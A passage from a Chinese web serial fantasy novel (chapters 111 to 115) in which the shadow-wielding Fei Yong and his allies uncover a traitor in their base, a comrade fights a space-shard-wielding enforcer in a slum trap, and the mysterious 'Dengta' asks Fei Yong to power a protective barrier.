费勇抓住这转瞬即逝的机会,影核瞬间激活。暗影如同潮水般涌出,在地面化作只巨大的手掌,猛地拍向那两个作战服。金属碰撞的脆响和惨叫声同时响起,两人已经被影掌按在墙上,动弹不得。
“愣着干什么?走!”林悦拽着费勇的胳膊就往外冲,电流顺着她的指尖传导到费勇身上,带来阵麻痒的刺痛——这是她在帮他驱散残留在体内的微弱电流。
走廊里一片混乱,应急灯的绿光映得每个人的脸都像幽灵。张诚正对着对讲机嘶吼,却因为断电只能发出沙沙的杂音。费勇操控着暗影,将迎面冲来的两个守卫绊倒,同时指尖的影子悄悄爬上林悦的影子——他要复制她的雷霆掌控。
电流涌入体内的瞬间,费勇感觉像吞了团火,喉咙里火辣辣的。但他没有犹豫,将刚复制的电流凝聚在掌心,朝着追来的张诚扔了过去。蓝色的电流球在张诚脚边炸开,让他瞬间陷入麻痹。
“爽!”费勇忍不住低呼一声,却被林悦狠狠敲了下脑袋。
“别浪费能量!”她拽着他拐进消防通道,电流在楼梯扶手上留下串焦黑的脚印,“我在地下停车场备了车,车牌号是……”
“不用报了。”费勇突然停下脚步
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,暗影在他身后织成道黑色的屏障,挡住了追来的守卫,“三天后城西贫民区的行动,去不去?”
林悦愣了一下,随即踹开消防通道的门,脸上露出抹野性的笑容:“废话。裁决会那帮杂碎,正好新仇旧恨一起算。”她的警服下摆在奔跑中被划破,露出里面印着小猫图案的内搭——这和她平时火爆的形象完全不符。
费勇看得直乐,刚想调侃两句,就被林悦推上了一辆黑色的越野车。车钥匙早就插在上面,林悦一脚油门踩到底,轮胎摩擦地面发出刺耳的尖叫,瞬间冲出了地下停车场。
后视镜里,特调科大楼的方向已经亮起了警灯,红蓝交替的光线像追魂灯一样紧随其后。林悦咬着牙换挡,同时从储物格里翻出两顶黑色的鸭舌帽:“戴上,过了前面的路口就安全了。”
费勇戴上帽子,突然想起什么:“你的‘后手’就是断电?”
“不然呢?”林悦白了他一眼,电流在她操控下,让追来的**全部失灵,“我早就怀疑张诚有问题,提前在总控室装了定时断电装置。”她顿了顿,语气里带着点后怕,“没想到他动作这么快,差点就被堵在里面。”
越野车冲过最后一个路口,将警灯远远甩在身后。林悦终于松了口气,靠在椅背上,胸口剧烈起伏。费勇看着她汗湿的额发,突然伸手,帮她把那片一直沾在领口的枯叶摘了下来。
“喂……”林悦的脸颊突然涨红,眼神有些闪躲。
费勇却没注意到她的异样,指尖的暗影正在解析从张诚身上“偷”来的对讲机频率。“找到他们的加密频道了。”他调出频道里的信息,眉头渐渐皱起,“裁决会在贫民区的目标不止抓人,他们好像在找什么东西,代号‘巢穴’。”
林悦的表情瞬间严肃起来:“巢穴?难道和夏艳玲画的黑色巨手有关?”
费勇没说话,只是将油门踩得更深。越野车像支黑色的箭,消失在夜色中。他知道,接下来的三天,他们必须做好万全准备——城西贫民区的行动,恐怕会比想象中更加凶险。
第111章:破晓的分歧
破晓基地的紧急会议室里,金属长桌的边缘还留着风行者上次踹出的凹痕。夜枭的手指在桌面上敲出急促的节奏,他的风衣下摆沾着草屑,显然是刚从外围警戒回来。
“警报器响了三次,都是裁决会的侦查无人机。”他突然停下动作,眼神扫过在座的人,“这是调虎离山计,他们想让我们分兵去贫民区,然后趁机端掉基地。”
“端掉基地?就凭他们那几个破铜烂铁?”风行者嗤笑一声,他的作战服袖子还卷着,露出手臂上刚结痂的伤口——那是昨天潜入特调科时被铁丝网划破的。“上次来偷袭的执法者,坟头草都三尺高了。”
“这次不一样。”夜枭的声音沉了下去,他从怀里掏出块黑色的碎片,上面还残留着影蚀病毒的暗红色,“这是在无人机残骸上找到的,裁决会已经能把病毒附着在武器上了。”
会议室里瞬间安静下来。影蚀病毒的威力没人比他们更清楚——十年前那场觉醒潮,多少异能者就是因为感染了这东西,最终变成失去理智的怪物。
风行者的脸色也凝重起来,但嘴上依旧不饶人:“那更该去贫民区。难道眼睁睁看着那些人被当实验品?”他突然拍了下桌子,速度快得带出残影,“别忘了破晓是干什么的!不是缩在地下当老鼠!”
“送死也不是我们的宗旨。”夜枭寸步不让,他的影子在地面微微晃动,显露出隐忍的怒火,“基地里有多少无法战斗的研究员?有多少像夏艳玲一样的孩子?你想让他们重蹈十年前的覆辙?”
两人的视线在空中碰撞出火花,周围的空气仿佛都凝固了。老鬼悄悄往旁边挪了挪椅子,生怕被这两人的气场波及——上次他们吵成这样,训练室的墙壁都被风行者撞穿了三个窟窿。
就在这时,会议室的门被猛地推开。费勇和林悦站在门口,前者的作战服还沾着特调科的灰尘,后者的警服袖口已经磨破,露出里面包扎伤口的纱布。
“我们回来了。”费勇随手关上门,他的影子顺着门缝钻出去,确认没有尾巴跟着。“贫民区的行动坐标我看过了,裁决会调了三个小队的执法者,还有个审判长带队。”
“审判长?”老鬼突然坐直了身体,他的手指在桌面上快速敲击,调出十年前的档案,“是那个能玩空间碎片的?”
费勇点头的瞬间,风行者突然笑了:“正好,上次交手还没分出胜负。”他猛地站起身,椅子被带得向后滑出半米,“给我三个人,保证把那审判长的面具摘下来当尿壶。”
“坐下!”夜枭的声音带着命令的口吻,“我说了,不准去!”
“你不敢去就直说!”风行者的脾气彻底炸了,他的身影突然模糊了一下,下一秒已经出现在夜枭面前,两人的鼻尖几乎碰到一起,“当年你要是敢跟我去701研究所,费勇他爸也不至于……”
“风行者!”老鬼突然开口,他的声音不大,却带着不容置疑的威严。
风行者的话卡在喉咙里,脸色一阵青一阵白。701研究所是他们所有人的禁区——十年前,就是在那里,费勇的父亲为了掩护他们撤退,最终消失在影蚀病毒的黑雾里。
费勇的手指猛地攥紧,影核在胸口微微发烫。他能感觉到影子里那些残念在躁动,那些都是当年没能从701逃出来的异能者。
“贫民区必须去。”他突然开口,声音不大却让所有人都安静下来,“但基地也得守。”
夜枭皱眉:“你想分兵?”
“不然呢?”林悦突然接话,她从口袋里掏出个小巧的电击器,这是她从特调科带出来的最后一件装备,“我带特调科的老同事去贫民区,他们对裁决会的战术熟。”她顿了顿,看向费勇,“你们守基地。”
“你?”风行者挑眉,显然不相信一个“外人”能搞定审判长。
林悦没理他,只是从怀里掏出张地图,“啪”地拍在桌上。那是她熬夜画的贫民区地形,上面用红笔标出了所有可能的伏击点。“城西有废弃的地铁站,我们可以从那里潜入。”
夜枭还想说什么,会议室的门又被推开了。苏清月抱着一摞古籍站在门口,她的眼镜片上沾着灰尘,显然是在藏书室待了很久。
“你们看这个。”她把古籍摊开在桌上,其中一页的插图已经泛黄,但上面的图案依旧清晰——那是只从地下伸出的黑色巨手,掌心的纹路和夏艳玲画的一模一样
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“这是……”费勇的瞳孔骤然收缩,他认出画旁边的注释文字,和父亲日记里的笔迹如出一辙。
“夏艳玲的画不是预言,是地图。”苏清月的声音带着一丝疲惫,却异常坚定,她用手指点着画中巨手的位置,“这里是贫民区的地下结构,十年前,这里是‘生命病毒’的掩埋点。”
“生命病毒?”老鬼突然凑过来,他的手指在插图上轻轻抚摸,像是在读取什么信息,“古籍里说,这东西能吞噬异能者的能量,最终聚合成实体……”
“就是夏艳玲画的那只手。”费勇接过话头,他的影子在地图上缓缓铺开,与插图上的巨手重合在一起,“裁决会的目标不是抓人,是想把病毒挖出来。”
会议室里再次陷入沉默。如果真是这样,那贫民区的人就不是诱饵,而是……祭品。用来唤醒那只怪物的祭品。
风行者突然抓起桌上的战术背包,开始往里面塞爆破弹:“给我两个人,现在就走。”
夜枭看着地图上的图案,又看了看风行者决绝的背影,最终叹了口气:“带足抑制剂,遇到情况立刻撤退。”他从怀里掏出枚信号弹,“红色是求援,绿色是得手,我会派人接应。”
风行者接过信号弹,转身就往外走,经过费勇身边时,突然停下脚步:“别让基地被人端了,不然我回来拆了你。”
“放心。”费勇的嘴角勾起一抹浅笑,“等你回来喝庆功酒。”
风行者的身影消失在门口的瞬间,基地的广播突然响起。灯塔的声音经过处理,带着金属般的质感:“分两队。风行者带三人去贫民区,费勇留下守基地。”
费勇的笑容僵在脸上。他想起U盘里那段视频,想起灯塔将针管刺入父亲身体时的画面,一股寒意顺着脊椎爬上来。
为什么偏偏是他留下?
老鬼似乎看出了他的疑虑,悄悄递过来一张纸条。上面是用暗号写的字:“核心室的监控,我动了手脚。”
费勇捏紧纸条,指尖的影子微微晃动。他抬头看向窗外,基地的探照灯在山壁上投下巨大的光斑,像只警惕的眼睛。
他有种预感,这次守基地,恐怕不会像想象中那么简单。
第112章:夏艳玲的强制同步
基地控制室的屏幕还在闪烁,费勇的手指在操作台上敲出轻快的节奏。监控画面里,夜枭带着队员在基地外围布设藤蔓陷阱——那是苏清月特意留下的种子,遇袭时能在三分钟内长成十米高的绿墙。
“西北角的传感器有点异常。”他突然停下动作,指尖的影子顺着线路蔓延,在屏幕上勾勒出条细细的黑线。那是能量波动的轨迹,微弱得像根快要熄灭的烛火。
“老鬼说裁决会的隐形装置都这德性。”费勇低声自语,正准备调动影界领域探查,衣角突然被轻轻拽了一下。
他回头,看见夏艳玲抱着布娃娃站在身后。小姑娘的头发乱糟糟的,显然是刚睡醒,眼睛却亮得惊人,像藏着两颗星星。“费勇哥哥,”她的声音带着刚睡醒的沙哑,“你的影子在发抖。”
费勇挑眉,这才注意到地面的影子确实在微微颤动,边缘像被风吹过的火焰。影核在胸口发烫,那些残念又开始躁动了——自从在特调科看到那段视频,影子里的异能者残念就没安分过。
“可能是有点冷。”他伸手想摸摸夏艳玲的头,却被她突然抓住手腕。小姑娘的手心滚烫,比影核的温度还要高。
“不是冷。”夏艳玲把布娃娃贴在两人交握的手上,娃娃脸上的补丁正好对着费勇的影子,“是爸爸在哭。”
“爸爸?”费勇的瞳孔骤然收缩。夏艳玲的父亲是谁?她为什么总说这种没头没尾的话?
没等他细问,布娃娃突然发出阵细微的嗡鸣,缝补的线脚里渗出金色的光粒,像夏艳玲上次治愈他时的眼泪。光粒落在影子上的瞬间,费勇感觉天旋地转,控制室的灯光突然扭曲成模糊的光斑,耳边响起刺耳的电流声。
“这是……”他想挣脱,却发现身体动弹不得。夏艳玲的眼睛里泛起和布娃娃一样的金光,两人的影子在地面交融,织成道旋转的漩涡。
漩涡中心传来浓重的消毒水味,比U盘视频里的味道还要刺鼻。费勇发现自己站在间实验室里,白色的墙壁上布满暗红色的污渍,像是干涸的血迹。正中央的手术台上,绑着个熟悉的身影——年轻了十岁的父亲,手臂上印着“107”的编号。
“你答应过我不用病毒的!”父亲的嘶吼声震得费勇耳膜发疼,束缚带深深勒进他的手腕,留下和视频里一样的红痕。
费勇想冲过去,脚却像灌了铅。他这才意识到,自己只是个旁观者,被困在这段该死的记忆里。
实验室的阴影里走出个黑袍人,手里举着支闪着绿光的针管,正是灯塔。他的声音经过处理,依旧是那种令人毛骨悚然的多重音:“这是唯一能救清月的办法。”
“清月?”费勇的心猛地一沉。苏清月?十年前她还只是个孩子,为什么需要用影蚀病毒来救?
父亲剧烈地挣扎,手术台被晃得吱呀作响:“那是裁决会的阴谋!他们想利用病毒控制所有异能者!你明知道……”
“我知道这是唯一的机会。”灯塔突然提高声音,黑袍的兜帽被气流掀起一角,露出下巴上道狰狞的疤痕——费勇在基地的老照片上见过这道疤,属于十年前牺牲的破晓成员。
等等,不对。费勇突然想起老鬼的话,父亲当年的战友里,根本没有下巴带疤的人。
就在灯塔要把针管刺入父亲手臂时,实验室的门突然被撞开。母亲冲了进来,她怀里抱着个襁褓,里面传来婴儿微弱的哭声。“阿哲,我们走!”母亲的头发凌乱,警服的袖口还在滴血,“701要塌了,裁决会的人已经突破防线了!”
父亲的眼睛瞬间红了:“清月呢?你把她送出去了吗?”
“老鬼带着她先走了!”母亲把襁褓塞给父亲,转身挡在他和灯塔之间,“你要动他,先踏过我的尸体!”
灯塔的针管停在半空,似乎在犹豫。费勇的心跳到了嗓子眼——母亲……她要干什么?
“别傻了。”父亲的声音带着哭腔,“带着孩子走,告诉清月……”
他的话没能说完。实验室的通风管道突然炸开,黑色的雾气涌了出来,像无数条扭动的蛇。那是影蚀病毒,比视频里的浓度高十倍,接触到墙壁的瞬间就腐蚀出个大洞。
“小心!”母亲猛地推开
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父亲,自己却被黑雾卷住。她的身体在黑雾中扭曲,皮肤以肉眼可见的速度渗出黑色汁液,和父亲后来的样子一模一样。
“不要!”父亲疯狂地挣扎,束缚带被他挣断了两根。
费勇眼睁睁看着母亲的身影在黑雾中消失,只留下枚银色的徽章,上面刻着和他影子里一样的纹路。那是破晓的成员标识,母亲一直别在警服上的。
“不——!”他嘶吼着冲向黑雾,却被股无形的力量弹开。记忆开始剧烈晃动,实验室的墙壁像玻璃一样碎裂,灯塔的针管、父亲的嘶吼、母亲消失的背影……所有画面都在快速**。
最后定格的,是父亲手臂上的编号。107,鲜红的数字在黑雾中异常醒目,和夏艳玲画在墙上的一模一样。
“啊!”费勇猛地回过神,发现自己还在控制室里。夏艳玲已经松开了手,布娃娃掉在地上,脸上的补丁脱落下来,露出里面张泛黄的照片——年轻的母亲抱着婴儿,身边站着个陌生的男人,怀里抱着个小女孩,正是小时候的夏艳玲。
照片背面写着行字:“107与084的后代,必须守护清月。”
费勇的大脑一片空白。084?是夏艳玲父亲的编号吗?母亲和夏艳玲的母亲认识?她们都是701研究所的实验体?
“爸爸说,看到107号就把这个给你。”夏艳玲捡起布娃娃,把照片塞给费勇,小小的脸上没有任何表情,“他还说,灯塔不是好人。”
费勇捏着照片,指尖的影子突然暴涨,在控制台上投下父亲的轮廓。残念的嘶吼声前所未有地清晰,其中最响亮的,是父亲重复了无数次的话:“别信灯塔,他在利用你……”
控制室的警报突然响起,刺耳的声音打断了费勇的思绪。屏幕上的监控画面全部变成雪花,基地的防御系统——失灵了。
“怎么回事?”费勇冲到操作台,手指飞快地敲击键盘,却只调出串乱码。影子顺着线路蔓延,在主控室角落的阴影里,触到个冰凉的金属物体。
是枚微型**器,信号频率指向……风行者的房间。
第113章:基地的内鬼
金属质地的**器在费勇掌心泛着冷光,比指甲盖稍大的体积里,藏着能毁掉整个基地的致命信息。他指尖稍一用力,**器外壳就发出细微的裂痕声——这玩意儿用的是裁决会特制合金,寻常异能者根本捏不碎。
“信号频率锁定了风行者的房间?”老鬼不知何时出现在门口,手里还攥着半块没吃完的压缩饼干,看到费勇手里的东西,饼干“啪嗒”掉在地上。他弯腰去捡的动作顿在半空,老花镜后的眼睛突然瞪得溜圆,“这不可能!那小子虽然脾气臭,但骨头比钢筋还硬!”
费勇没说话,只是将**器凑到耳边。电流杂音里夹杂着规律的滴答声,那是裁决会特有的加密信号,每三秒一次的频率像在倒数。他突然想起风行者出发前的样子,对方拽着战术背包的拉链,作战靴跟在地面磕出不耐烦的节奏,当时只当是急着去打架,现在想来……那动作分明是在掩饰什么。
“他早上来控制室晃过。”老鬼拍着大腿站起来,裤腿上沾着的饼干渣簌簌往下掉,“说是检查线路,我当时在核对贫民区的地图,就让他自己折腾了——你说这浑小子,难道真是被判官灌了什么**汤?”
费勇的影子在地面快速铺开,顺着主控室的线路蔓延到通风管道。暗影重构的能力让他能感知到所有金属物件的位置,包括风行者房间里那枚嵌在床板下的信号发射器——和手里的**器频率完全一致。
“未必是他。”夏艳玲突然开口,小姑娘抱着布娃娃蹲在墙角,手指无意识地抠着娃娃的破洞,“风行者哥哥昨天偷偷给我塞了颗糖,说要去给我找更多草莓味的。”她顿了顿,声音低得像蚊子哼,“坏人不会给我糖的。”
费勇的心猛地一抽。他想起风行者临走时那句“别让基地被人端了”,语气里的别扭不像装的。可影子不会说谎,那枚发射器确实藏在风行者的房间,而且安装时间不超过六小时——正是风行者独自待在控制室之后。
“这小子最擅长装模作样!”老鬼还在气头上,抓起桌上的保温杯就想砸,又想起里面是苏清月刚泡的草药,悻悻地放回去,“上次他为了抢任务,还伪造过夜枭的签名呢!”
“伪造签名和当内鬼是两码事。”费勇突然起身,影子顺着门缝溜出去,在走廊里织成道黑色的警戒线,“去风行者房间看看。”
老鬼的脚步顿了一下:“现在?万一……”
“没有万一。”费勇的声音冷得像冰,影核在胸口发烫,那些残念又开始躁动,父亲的声音混在其中若隐若现:“眼睛看到的,未必是真的。”
风行者的房间比想象中整洁,除了墙角堆着的脏衣服,几乎看不出有人住过的痕迹。费勇的影子在床板下摸索片刻,猛地向上一掀——床板应声翻起,露出水泥地,一枚银色的发射器正嵌在预制板的缝隙里,旁边还散落着几颗螺丝钉。
“看!我就说……”老鬼的话卡在喉咙里。发射器旁边,有个模糊的鞋印,尺码比风行者的作战靴小了整整一圈,边缘还沾着点暗红色的粉末——那是苏清月培育的藤蔓汁液,只有负责基地后勤的人才会接触到。
费勇的指尖突然冰凉。他想起今早路过后勤室时,夜枭正蹲在地上修水管,裤脚沾着的泥土里,就混着这种粉末。当时只当是例行维护,现在想来……夜枭的分工明明是外围警戒,根本不需要碰后勤的活儿。
“这鞋印是……”老鬼的声音发颤,他掏出随身携带的放大镜,对着鞋印边缘仔细端详,“是后勤特制的防滑鞋,全基地只有三个人有——夜枭、负责清洁的张婶,还有……”
他的话没说完,基地的广播突然发出刺耳的电流声,随后响起夜枭的声音,带着刻意压制的慌乱:“各单位注意!西北防线发现裁决会的先遣队,重复,先遣队已经突破第一道藤蔓墙!”
费勇和老鬼对视一眼,都从对方眼里看到了凝重。西北防线是夜枭亲自布置的,那里的藤蔓墙混合了影蚀病毒抗体,寻常执法者根本靠近不了——除非有人提前动了手脚。
“调虎离山计的升级版。”费勇突然冷笑,影子在地面快速凝聚成一把影刃,“他故意让我们发现**器,再嫁祸给风行者,现在又谎报军情,想把基地的防御力量全部调去西北
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……”
“那真正的目标是……”老鬼的脸色瞬间惨白。
“核心室。”费勇的声音斩钉截铁,他抓起桌上的战术通讯器,按下风行者的频道,“风行者,立刻回基地,内鬼是夜枭!”
通讯器里只有滋滋的杂音,风行者那边没有任何回应。费勇的心沉了下去——贫民区那边,恐怕也出事了。
就在这时,夏艳玲突然指着窗外,布娃娃的手指颤抖着指向基地中央的钟楼:“那里……有影子在哭。”
费勇抬头望去,钟楼的阴影里,隐约有个熟悉的身影在晃动,手里还拿着个微型遥控器——正是夜枭。他似乎察觉到被发现,突然转身冲向核心室,风衣下摆扬起的瞬间,露出腰间别着的东西——枚闪着红光的审判标记。
“拦住他!”费勇嘶吼着冲出房间,影子在身后化作无数影箭,朝着夜枭的方向射去。
老鬼紧随其后,一边跑一边摸出腰间的**:“苏清月!带所有研究员去地下避难所!重复,立刻去避难所!”
走廊里响起急促的脚步声,基地的警报声再次响起,这次却不是夜枭发出的,而是苏清月启动的紧急预案。费勇的影箭即将射中夜枭的瞬间,对方突然转身,手里甩出个黑色的小球——那是裁决会的***,落地的瞬间炸开大片黑雾,里面夹杂着影蚀病毒的气息。
“费勇!小心!”老鬼嘶吼着扑过来,想用身体挡住黑雾,却被费勇一把推开。
费勇的影子在身前织成道黑色的屏障,将黑雾全部挡在外面。他看着夜枭的身影消失在核心室的方向,突然想起风行者临走时的眼神——那里面分明藏着担忧,而不是背叛。
通讯器突然传来一阵微弱的电流声,随后响起风行者断断续续的声音,夹杂着金属碰撞的脆响:“费勇……别信……夜枭……他和审判长……是一伙的……”
声音戛然而止,只剩下滋滋的杂音。
费勇捏紧通讯器,指节因为用力而发白。影子里的残念突然剧烈躁动,父亲的声音前所未有的清晰:“小心‘自己人’的背叛。”
原来这句话,指的不是风行者。
第114章:贫民区的血色陷阱
超音速移动带起的气流掀飞了贫民区最后一块广告牌,风行者踩着残垣落地时,作战靴底碾过的不是预想中异能者失控后留下的焦痕,而是一滩粘稠的、带着铁锈味的暗红色液体。
“不对劲。”他皱眉踹开半扇破门,门框上的涂鸦还没干透——是附近小孩画的卡通太阳,边缘却被什么东西啃噬得参差不齐。身后三名队员迅速散开警戒,其中负责感知的小周突然闷哼一声,捂着太阳穴蹲在地上:“队长,这里的生命信号……太乱了。”
风行者的手按在腰间的爆破弹上,指节因用力而发白。按苏清月给的资料,贫民区至少有二十名觉醒了基础异能的居民,此刻却连半点能量波动都感知不到,只有风穿过破窗的呜咽声,像无数人在低声哭泣。
“分头搜索,保持通讯。”他丢下这句话,身影化作淡蓝色残影窜进小巷。超音速状态下,视网膜能捕捉到常人十倍的细节——墙角蜷缩的流浪汉其实是被注射了肌肉松弛剂的普通工人,垃圾桶里的“残肢”是用猪皮伪造的道具,还有贴在电线杆上的寻人启事,照片上的笑脸全被挖去了眼睛。
“裁决会的这帮杂碎,玩的挺花。”风行者嗤笑一声,突然在一栋废弃教学楼前刹住脚。二楼的窗口晃过个小小的身影,穿着洗得发白的连衣裙,怀里抱着个破布娃娃——像极了基地里的夏艳玲。
他几乎是本能地冲了过去,破窗而入的瞬间却愣住了。教室里坐满了人,男女老少都有,眼神空洞地盯着黑板,上面用鲜血写着“欢迎来到净化场”。那个穿连衣裙的小女孩转过身,风行者才发现她的脖颈上有圈淡紫色勒痕,嘴角却咧开诡异的笑容:“叔叔,你是来陪我们玩的吗?”
话音刚落,所有人同时站起来,齐刷刷地转向风行者。他们的后颈都贴着块黑色的芯片,随着呼吸微微闪烁,皮肤下有什么东西在蠕动,像寄生的虫子。
“玩你大爷。”风行者的身影突然模糊,下一秒已经出现在教室中央,超音速带起的气浪将前排几人掀翻。他本想扯掉那些芯片,手指触到的瞬间却猛地缩回——芯片上覆盖着层透明薄膜,里面流动着影蚀病毒特有的暗红色。
“看来风行者大人比想象中谨慎。”冰冷的声音从讲台下传来,地面突然裂开,穿着黑色审判长制服的男人缓缓升起,手中把玩着枚菱形的空间碎片,边缘闪烁着危险的银光。“我还以为你会像上次那样,一头撞进陷阱里呢。”
风行者的瞳孔骤缩。是那个能操控空间碎片的审判长,上次在特调科交手时,对方的能力还只能切割直径不超过半米的物体,此刻悬浮在周围的碎片却像一群蓄势待发的鲨鱼。
“就你这点能耐,还不够我热身的。”风行者故意放慢语速,暗中给队员发了撤退信号。眼角的余光瞥见教室后门悄悄合拢,门缝里渗出黑色的雾气——是裁决会量产的异能抑制瓦斯,浓度足以让三阶以下的异能者暂时失去能力。
审判长轻笑一声,打了个响指。那些被控制的平民突然像提线木偶般扑上来,动作僵硬却不知疼痛,后颈的芯片发出刺耳的蜂鸣。风行者被迫展开超音速闪避,却在掠过窗口时发现不对劲——外面的队员已经不见了,巷口被某种能量场封锁,淡蓝色的光膜上流淌着和审判长碎片相同的纹路。
“你的队员?”审判长像是看穿了他的心思,用脚尖踢了踢讲台下的暗格,“大概在忙着和‘老朋友’叙旧吧。”暗格里露出只戴着破晓手环的手,指尖还在微微抽搐。
风行者的理智瞬间崩断。他最恨的就是别人动他的人,哪怕是平时吵得最凶的队友。淡蓝色的残影在教室里炸开,这次不再是闪避,而是带着明确杀意的冲撞,所过之处,桌椅碎片混着被震晕的平民飞得到处都是。
“这才对嘛。”审判长不闪不避,身前的空间碎片突然拼成面盾牌。风行者的拳头撞在碎片上的瞬间,感觉整条手臂的骨头都在**,超音速带来的动能被硬生生反弹回来,让他踉跄着后退了三步。
“空间碎片能吸收动能,你上次没记性吗?”审判长的语气带着猫捉老鼠的戏谑,他突然抬手,数十枚碎片像暴雨般射向被控制的平民,“可惜了这些诱饵,本来还想留着给基地的‘贵客’当见面礼。”
风行者的瞳孔骤然收缩。他看到那个穿连衣裙的小女孩被碎片擦中,半个肩膀瞬间消失,却没流一滴血,伤口处只有黑色的雾气在翻滚——根本不是**,是用影蚀病毒伪造的傀儡。
“你把真正的居民弄去哪了?”他的声音冷得像冰,影蚀病毒对普通人的杀伤力他再清楚不过,十年前701研究所的惨状
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至今还刻在脑子里。
审判长突然收起笑容,指了指脚下:“就在这栋楼的地基里,他们的生命能量会成为唤醒‘大人’的第一份养料。”他踩了踩地面,整栋楼突然剧烈摇晃,黑板后的墙壁裂开,露出后面密密麻麻的培养舱,里面漂浮着模糊的人影,全是贫民区失踪的居民。
“而你,”审判长的碎片再次亮起,“会成为送上门的第二份。”
风行者突然笑了,笑得肩膀都在抖。他扯下战术背包,将里面的爆破弹全部掏出来,扯掉保险栓后用异能附着在上面,形成三枚淡蓝色的光球:“你以为老子没准备?”
光球像**般射向培养舱,审判长的碎片立刻拦截,却在接触的瞬间被超音速带起的气流引偏,轰在墙壁上炸开。烟尘弥漫中,风行者的身影突然出现在审判长身后,手肘带着破空声砸向对方后心——这是他研究了三个月的必杀技,专门针对空间异能者的防御盲区。
“不错的尝试。”审判长的声音却从头顶传来。风行者猛地抬头,看到对方正站在块悬浮的碎片上,手中把玩着枚新的芯片,上面沾着点淡蓝色的血迹——是他刚才闪避时被碎片划伤的手臂。
“忘了告诉你,我的碎片还能传递神经毒素。”审判长轻描淡写地说,“三分钟后,你的异能就会开始紊乱,到时候……”
他的话没能说完。风行者突然用尽全力将最后一枚爆破弹扔向培养舱,同时转身撞破窗户跳了出去。审判长的碎片追出来时,只看到风行者的身影在巷口炸开,化作数十道残影冲向不同的方向——那是他用透支生命力换来的分身术,只能维持十秒,却足以让敌人判断失误。
“有意思。”审判长舔了舔唇角的血迹,突然对着通讯器说,“按计划进行,基地那边……该收网了。”
真正的风行者此刻正躲在垃圾桶里,忍着手臂的剧痛给费勇发最后一条消息。毒素已经开始蔓延,视线里的一切都在扭曲,他咬着牙输入文字,指尖好几次按错键:
“告诉费勇,内鬼是夜枭,老子不是叛徒……还有,照顾好夏艳玲的草莓糖。”
发送成功的提示弹出时,他听到巷口传来沉重的脚步声,是裁决会的执法者。风行者握紧最后一把**,靠在垃圾桶壁上笑了——至少这次,他没给破晓丢人。
第115章:灯塔的“后手”
基地的震动来得比想象中更猛烈。费勇刚把夏艳玲推进地下避难所,脚下的金属地板就像波浪般起伏,控制台的屏幕全部爆成雪花,碎片溅在脸上,带着静电的刺痛。
“老鬼!苏清月那边怎么样?”他对着通讯器嘶吼,影子顺着摇晃的墙壁蔓延,在天花板即将坍塌的瞬间织成黑色的支撑网。暗影重构的异能在剧烈消耗,影核烫得像块烙铁,父亲的残念在里面撞来撞去,发出焦躁的闷响。
“藏书室没事!但西北翼的防御墙塌了一半!”老鬼的声音混着电流杂音,“夜枭那混球把自爆装置藏在了能量枢纽,现在整个基地的电力都在跳崖!”
费勇的牙咬得咯咯作响。他想起夜枭冲进核心室前那个诡异的笑容,当时只当是破釜沉舟的疯狂,现在才明白——对方从一开始就没打算活着出去,只想给裁决会炸开一条通路。
“费勇,到核心室来。”
冰冷的机械音突然从应急广播里传出,是灯塔。这个声音本该带来安全感,此刻却让费勇的脊背窜起一股寒意。他瞥了眼避难所的合金门,夏艳玲贴在玻璃上的小脸写满担忧,布娃娃的手臂从门缝里伸出来,指尖泛着微弱的金光——那是小姑娘在传递安心的情绪。
“看好她。”费勇对赶来支援的研究员丢下这句话,影子猛地拽住天花板的承重柱,借力荡向核心室的方向。走廊里到处是奔跑的人影和坠落的碎石,有个年轻的研究员被钢筋压住腿,费勇的影绳及时缠上对方的腰,像放风筝般将人拉到安全区。
“谢……谢谢费勇大人!”研究员的声音带着哭腔。
费勇没回头。他注意到对方白大褂的口袋里露出半截针管,里面晃着影蚀病毒特有的暗红色——又是一个被精神控制的。裁决会的渗透远比想象中彻底,就像附骨之疽,藏在基地的每个角落。
核心室的门是感应式的,此刻却纹丝不动。费勇的影子化作巨锤,连续砸了三下才听到金属变形的脆响。门后的景象让他瞳孔骤缩:本该空无一人的房间里,灯塔正站在中央的控制台前,黑袍的兜帽不知何时滑落,露出张与记忆中父亲重叠了七分的脸。
“你……”费勇的声音卡在喉咙里。影核突然剧烈跳动,父亲的残念在里面发出清晰的呜咽,像看到了极其痛苦的东西。
“比你父亲当年镇定多了。”灯塔转过身,左眉骨上的疤痕在应急灯下发亮——那道疤费勇在老照片上见过,属于十年前“牺牲”的破晓创始人之一。可老鬼说过,父亲的战友里根本没有这号人物。
“别用那种眼神看我。”灯塔抬手按在控制台上,蓝色的数据流立刻在全息屏上铺开,“我是你父亲的战友,当年701研究所**时,是我把你从废墟里抱出来的。”
费勇的指尖冰凉。他确实对那场**有模糊的记忆,有人用带着硝烟味的外套裹住他,怀抱算不上温暖,却异常安稳。可眼前这人的气息让影核排斥,就像遇到了天敌。
“裁决会的主力已经突破外围,三分钟内就能到达核心室。”灯塔调出基地的三维模型,西北翼的防御圈正以肉眼可见的速度缩小,红色的光点密密麻麻,像成群的蝗虫,“但我留了后手。”
他按下控制台最中央的按钮,整个房间突然陷入黑暗,只有地面的纹路亮起幽蓝色的光,组成复杂的阵法。费勇的影子被这些光纹吸引,不由自主地向中心**,仿佛那里有什么东西在召唤。
“这是‘影界屏障’,用你父亲留下的暗影本源构建的。”灯塔的声音带着罕见的疲惫,“能暂时隔绝裁决会的能量场,但需要有人注入核心能量维持——整个基地,只有你的暗影重构能做到。”
他指向控制台凹槽里悬浮的菱形晶体,那东西散发着和影核同源的波动:“把你的影核嵌进去,剩下的交给阵法。”
费勇的脚步没动。他盯着对方的手腕,黑袍袖口滑落的瞬间,露出块与自己同款的破晓手环,编号被刻意磨掉了,只留下模糊的印记。“我凭什么信你?”
灯塔突然笑了,笑声里带着难以言喻的苦涩:“就凭我们都想保护剩下的人。”他抬手掀开控制台的暗格,里面放着个生锈的铁皮盒,“这是你母亲当年给你的满月礼,我藏了十年。”
盒子打开的瞬间,费勇的呼吸骤停。里面是块银质的长命锁,背面刻着他的乳名,锁扣处还挂着半片玉佩——另半片在他的贴身口袋里,是养父母临终前交给他的。
影核的躁动突然平息。父亲的残念在里面发出低沉的叹息,这次没有警告,只
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有种复杂的情绪,像释然,又像无奈。
“屏障能撑多久?”费勇问。他的影子已经不受控制地缠上那块菱形晶体,贪婪地吸收着里面的能量。
“足够等到风行者他们回来。”灯塔的眼神闪烁了下,“但需要你全程维持,不能中断,否则……”
